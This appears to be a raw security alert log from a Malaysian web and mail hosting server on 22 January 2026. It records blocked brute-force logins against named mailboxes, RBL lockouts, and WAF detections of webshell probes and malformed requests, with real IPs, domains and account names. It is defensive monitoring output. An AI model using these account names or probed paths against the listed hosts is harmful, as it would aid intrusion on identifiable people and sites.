IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/images/front-page.png HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:22:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:22:44 dovecot_login authenticator failed for H=(ldCwBZqGkc) [178.16.54.138]:51301: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:24:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:24:54 dovecot_login authenticator failed for H=(UkhA7kzAM) [178.16.54.138]:54368: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.247.76.41
country_id: 3865483
description:
Jan 22 07:24:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.247.76.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.101.122
country_id: 3469034
description:
Jan 22 07:24:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.101.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.101.122
country_id: 3469034
description:
Jan 22 07:25:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.101.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.114
country_id: 732800
description:
Jan 22 07:25:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:25:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:25:46 dovecot_login authenticator failed for H=(gBwhHmnRmi) [178.16.54.138]:62165: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.28.204.27
country_id: 2635167
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/company/csr/environment.htm HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:26:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:26:47 dovecot_login authenticator failed for H=(FA5bNe) [178.16.54.138]:62210: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:27:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:27:27 dovecot_login authenticator failed for H=(5rsb6kc5wz) [178.16.54.138]:54058: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:28:14 dovecot_login authenticator failed for H=(emwUH3) [178.16.54.138]:57669: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:28:12 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:29:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:29:16 dovecot_login authenticator failed for H=(NGR1OnYykD) [178.16.54.138]:59641: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.204.103.23
country_id: 3489940
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/AcceptHeaderTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 22 07:30:37 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.54.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-22 07:30:39 dovecot_login authenticator failed for H=(Li5U6f) [178.16.54.138]:56920: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/img/photos/commercial.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.230.176.152
country_id: 1269750
description:
Jan 22 07:31:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.230.176.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.230.176.152
country_id: 1269750
description:
2026-01-22 07:31:59 dovecot_login authenticator failed for H=([103.230.176.152]) [103.230.176.152]:40580: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.254.52.208
country_id: 1562822
domain: www.solidfence.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.solidfence.com.my/product-posts/assets/img/product/MS Hoarding.jpg HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.89.130
country_id: 226074
description:
Jan 22 07:35:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.89.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.151.159.66
country_id: 3865483
description:
Jan 22 07:35:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.151.159.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.32
country_id: 3469034
description:
Jan 22 07:35:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.89.130
country_id: 226074
description:
Jan 22 07:36:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.89.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.46.116
country_id: 2300660
description:
Jan 22 07:37:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.46.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.58.19.109
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-38.31.58.19.109||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.10
country_id: 2300660
description:
Jan 22 07:38:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.46.116
country_id: 2300660
description:
Jan 22 07:38:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.46.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.235
country_id: 2300660
description:
Jan 22 07:41:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.139
country_id: 798544
description:
Jan 22 07:41:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.139
country_id: 798544
description:
Jan 22 07:42:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.139 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.98.218
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=186475 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.8.189.128
country_id: 3895114
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/global-state/src/Restorer.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/malaysia-infinity-design-projects/img/team.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.2
country_id: 226074
description:
Jan 22 07:48:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.166.179.34
country_id: 1880251
description:
Jan 22 07:48:36 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.166.179.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.87.2
country_id: 226074
description:
Jan 22 07:49:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.87.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.229
country_id: 3175395
description:
Jan 22 07:49:14 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.229 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.109.170
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=14351516692814 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.252.189.144
country_id: 1562822
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/tyresafetytips.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.239.40.156
country_id: 3996063
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/event-single.php?id=383226 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 199.34.87.9
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-55.199.34.87.9||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.35.241
country_id: 953987
description:
Jan 22 07:56:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.35.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.193
country_id: 690791
description:
Jan 22 07:55:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.194.150.248
country_id: 3469034
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/event-single.php?id=177905 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.113.113.130
country_id: 1269750
description:
Jan 22 07:57:30 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.113.113.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.211.215.170
country_id: 1733045
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/pick/18/198/1890849 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 75.62.66.158
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/rock/734/171486 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.38
country_id: 798544
description:
Jan 22 08:01:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.104
country_id: 3865483
description:
Jan 22 08:00:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.104 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.196.239.59
country_id: 6251999
domain: geminiflourmill.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:08-01.168.196.239.59||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.160
country_id: 953987
description:
Jan 22 08:02:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 08:02:27 H=([45.144.212.242]) [45.144.212.242]:59094 F=<no_reply@admin.com> rejected RCPT <joseph@symphony-led.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.71.83.187
country_id: 3658394
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/league/flysystem/src/Adapter/NullAdapter.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.161.16.177
country_id: 4566966
description:
Jan 22 08:02:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.161.16.177 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.79
country_id: 1880251
domain: www.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/monthlyletter/images/events.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.161.16.177
country_id: 4566966
description:
Jan 22 08:02:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.161.16.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.39.212.79
country_id: 2510769
description:
Jan 22 08:05:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.39.212.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.150.184
country_id: 690791
description:
Jan 22 08:05:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.150.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.165.125.212
country_id: 690791
description:
Jan 22 08:10:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.165.125.212 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.165.125.212
country_id: 690791
description:
2026-01-22 08:10:02 dovecot_plain authenticator failed for H=(scalemic) [178.165.125.212]:10155: 535 Incorrect authentication data (set_id=bcteh@kendek.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 124.198.132.91
country_id: 6252001
description:
2026-01-22 08:11:01 H=([124.198.132.91]) [124.198.132.91]:51597 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<technical@arabiantrading.ae> rejected RCPT <cklee@ktlog.com.my>: SPF: 124.198.132.91 is not allowed to send mail from arabiantrading.ae


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.63
country_id: 3469034
description:
Jan 22 08:12:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.160.182.76
country_id: 953987
description:
Jan 22 08:12:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.160.182.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.63
country_id: 3469034
description:
Jan 22 08:13:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.135.62.103
country_id: 1814991
description:
Jan 22 08:13:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.135.62.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.62.103
country_id: 1814991
description:
2026-01-22 08:13:21 dovecot_login authenticator failed for H=([36.135.62.103]) [36.135.62.103]:39028: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.72.242
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-13.89.110.72.242||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.29.18
country_id: 798544
description:
Jan 22 08:14:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.29.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.87.245
country_id: 3469034
description:
Jan 22 08:17:17 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.87.245 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.72.41.89
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hungry/19/293/1992418 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.11.127
country_id: 690791
description:
Jan 22 08:20:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.11.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.204.23.12
country_id: 6252001
description:
Jan 22 08:21:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.204.23.12 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/photos/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.138.85
country_id: 3469034
description:
Jan 22 08:22:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.138.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.62.76.12
country_id: 3469034
description:
Jan 22 08:22:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.62.76.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.251.120
country_id: 3469034
description:
Jan 22 08:24:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.251.120 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.185
country_id: 3469034
description:
Jan 22 08:25:53 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.213
country_id: 690791
description:
Jan 22 08:26:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.185
country_id: 3469034
description:
Jan 22 08:26:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.185 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-22 08:27:06 +0800] info [webmaild] 175.136.123.47 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.196.216.218
country_id: 3469034
description:
Jan 22 08:28:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.196.216.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.92
country_id: 953987
description:
Jan 22 08:28:46 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.92
country_id: 953987
description:
Jan 22 08:29:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.142
country_id: 1269750
description:
Jan 22 08:29:01 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.68.178.219
country_id: 3175395
description:
Jan 22 08:29:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.68.178.219 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-22 08:30:11 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


